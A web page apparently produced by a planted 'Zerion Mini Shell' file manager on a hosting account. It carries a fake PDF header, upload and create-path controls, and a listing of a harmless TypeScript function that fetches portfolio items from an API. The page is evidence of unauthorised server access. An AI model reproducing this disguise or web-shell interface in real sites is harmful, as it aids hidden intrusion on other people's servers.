%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/www/portfolio/portfolio-rezakurnia/src/services/
Upload File :
Create Path :
Current File : /home2/rezakur1/www/portfolio/portfolio-rezakurnia/src/services/portfolio.service.ts

import { apiGet } from "../lib/api/client";
import { ENDPOINTS } from "../lib/api/endpoints";
import type { Portfolio, PortfolioApi } from "../lib/types/portfolios.type";

export async function getPortfolios(): Promise<Portfolio[]> {
  try {
    const response = await apiGet<PortfolioApi[]>(ENDPOINTS.PORTFOLIOS);

    return (response.data ?? []).map((item) => ({
      id: item.portfolio_id,
      title: item.title,
      slug: item.slug,
      image: item.image,
      createdAt: item.created_at,
      categoryName: item.category_name,
      authorName: item.author_name,
    }));
  } catch (error) {
    console.error("getPortfolios error:", error);
    return [];
  }
}

Zerion Mini Shell 1.0